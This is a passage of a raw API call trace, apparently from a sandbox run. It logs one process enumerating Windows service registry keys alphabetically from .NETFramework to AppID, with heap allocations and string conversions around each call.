lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0251.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.093] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0251.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0251.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.093] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0251.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0251.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.093] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0251.093] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0251.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.094] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0251.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0251.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.094] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0251.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0251.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1b68, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0251.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.094] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0251.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.094] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0251.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.095] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0251.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0251.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.095] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0251.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0251.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.095] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0251.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0251.095] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.096] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0251.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0251.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0251.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.096] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.096] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.096] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.096] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0251.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0251.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.096] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.096] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.096] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.096] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0251.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0251.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.096] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.096] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.096] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.096] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0251.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.096] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0251.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.097] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0251.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0251.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.097] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0251.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0251.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.097] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0251.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0251.097] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.097] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0251.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0251.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.098] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0251.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0251.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.098] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0251.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0251.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.098] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.098] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0251.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0251.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.099] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0251.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", 